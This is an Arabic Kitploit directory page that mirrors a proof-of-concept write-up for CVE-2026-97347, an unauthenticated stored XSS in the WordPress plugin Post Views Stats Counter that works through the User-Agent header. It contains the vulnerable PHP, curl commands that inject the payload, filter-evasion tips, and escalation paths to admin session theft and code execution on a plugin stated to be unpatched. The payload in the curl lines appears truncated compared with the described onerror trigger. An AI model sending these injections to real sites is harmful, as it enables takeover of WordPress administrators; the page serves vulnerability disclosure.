Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-97347 — إثبات مفهوم لـ CVE-2026-97347، وهو XSS مخزّن غير مصادَق عليه في إضافة Post Views Stats Counter لـ WordPress عبر ترويسة User-Agent، مع خطوات إعادة الإنتاج. | Kitploit
أدوات/GitHubGitHub/jailbr3ak/cve-2026-97347
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

إثبات مفهوم لـ CVE-2026-97347، وهو XSS مخزّن غير مصادَق عليه في إضافة Post Views Stats Counter لـ WordPress عبر ترويسة User-Agent، مع خطوات إعادة الإنتاج.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-97347 — ثغرة XSS مخزّنة في عدّاد إحصاءات مشاهدات المقالات (إضافة WordPress)

الإضافةPost Views Stats Counter
الإصدار المتأثر≤ 1.1.7
فئة الخطأXSS مخزّنة بدون مصادقة
نقطة الدخولترويسة HTTP ‏User-Agent
نقطة التأثيرصفحة إحصاءات المسؤول (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 عالية
الحالةغير مُصلحة عند الإفصاح، ولا توجد إصدارات مُصلحة معروفة حتى الآن
الباحثNawaf Althurwi

الثغرة

تسجّل الإضافة كل مشاهدة صفحة، بما في ذلك ترويسة User-Agent الخاصة بالزائر، في جدول مخصّص (wp_pvs_counter). وهنا حيث تلتقط الترويسة — دون أي تنقية في أي مكان على طول المسار:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

الدفاع الوحيد عند الدخول هو مرشّح بوتات، وهو مجرد قائمة حظر نصية فرعية:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

القائمة الافتراضية هي bot وspider وcrawler. أي شيء لا يحتوي على تلك السلاسل الفرعية يُخزَّن. هذا هو الفلتر بأكمله.

على جانب الإخراج، تبني صفحة الإدارة قائمة منسدلة من "وكلاء المستخدم المسجّلين" وتطبع القيمة المخزّنة خامًا داخل وسم <option> — إذ يحمي esc_attr() سمة value لكن التسمية المرئية هي مجرد echo عادي:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

لذا فإن طلبًا غير مُصادَق عليه يحتوي على HTML في ترويسة User-Agent ينتهي به المطاف بالتنفيذ في متصفح المسؤول في المرة التالية التي يفتح فيها صفحة إحصائيات الإضافة. XSS مخزَّن كلاسيكي، دون مصادقة، ودون أي تفاعل من الضحية يتجاوز عرض لوحة التحكم الخاصة به.

ثمة قيد آخر يجدر معرفته: عمود useragent من النوع varchar(155)، لذا يجب أن يبقى الحمولة (payload) أقل من 155 حرفًا.

إعادة الإنتاج

أي رابط مسجَّل يعمل — الصفحة الرئيسية /?p=1 مناسبة. استبدل TARGET بمضيف WordPress وYOUR_PAYLOAD بما تريد تشغيله في جلسة المسؤول:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

ملاحظات حول شكل الحمولة:

  • </option></select> يُخرج القيمة من ترميز القائمة المنسدلة — فهو ليس زخرفة، فبدونه يبقى الحقن محتجزًا داخل وسم <option>.
  • أبقِ النص خاليًا من bot/spider/crawler (دون تمييز لحالة الأحرف) وإلا فسيُصفّى الطلب باعتباره بوتًا قبل وصوله إلى قاعدة البيانات.
  • أبقِه أقل من 155 حرفًا إجمالًا.
  • إذا أردت مسافات داخل alert()، فاستخدم &#32; بدلًا منها — فبعض عملاء HTTP يشوّهون المسافات في قيم الترويسات.

السطر الواحد الذي استخدمته في مختبري:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

الخطوة 1 — تخزين الحمولة

إرسال الحمولة عبر ترويسة User-Agent

مجرد curl عادي. تعني HTTP 200 أن المشاهدة تم احتسابها وأن الترويسة دخلت إلى قاعدة البيانات.

الخطوة 2 — تفعيلها

افتح Settings → Post Views Stats Counter بصفتك المدير (أو ما عليك سوى التحديث إذا كانت مفتوحة بالفعل). تُعرض الحمولة كجزء من قائمة أداة الإحصاءات ويُطلق onerror:

تنفيذ الحمولة في صفحة إحصاءات المدير

التأثير

  • سرقة ملفات تعريف الارتباط / اختطاف جلسة المدير (تغيير النطاق S:C — يعمل XSS على wp-admin، لذا يمكنه استدعاء نقاط نهاية admin-ajax وتثبيت الإضافات باستخدام ملفات تعريف ارتباط المدير)
  • تثبيت الإضافات وتفعيلها ← تنفيذ تعليمات برمجية عن بُعد (RCE) على الخادم
  • حمولة مستمرة: تُطلق للمدير في كل زيارة لصفحة الإحصاءات حتى يُحذف السجل

فيديو الاستغلال

عرض توضيحي

جودة أعلى إذا أردت التمرير/الإيقاف المؤقت: exploit-vid.mp4

المراجع

  • سجل CVE — CVE-2026-97347

  • سجل استخبارات التهديدات من Wordfence — CVE-2026-97347


تم الاختبار على الإصدار 1.1.7 على WordPress 6.x في مختبر Docker محلي. دون مصادقة، ودون أي تفاعل من المستخدم يتجاوز فتح صفحة الإحصاءات.

تنزيل الأداة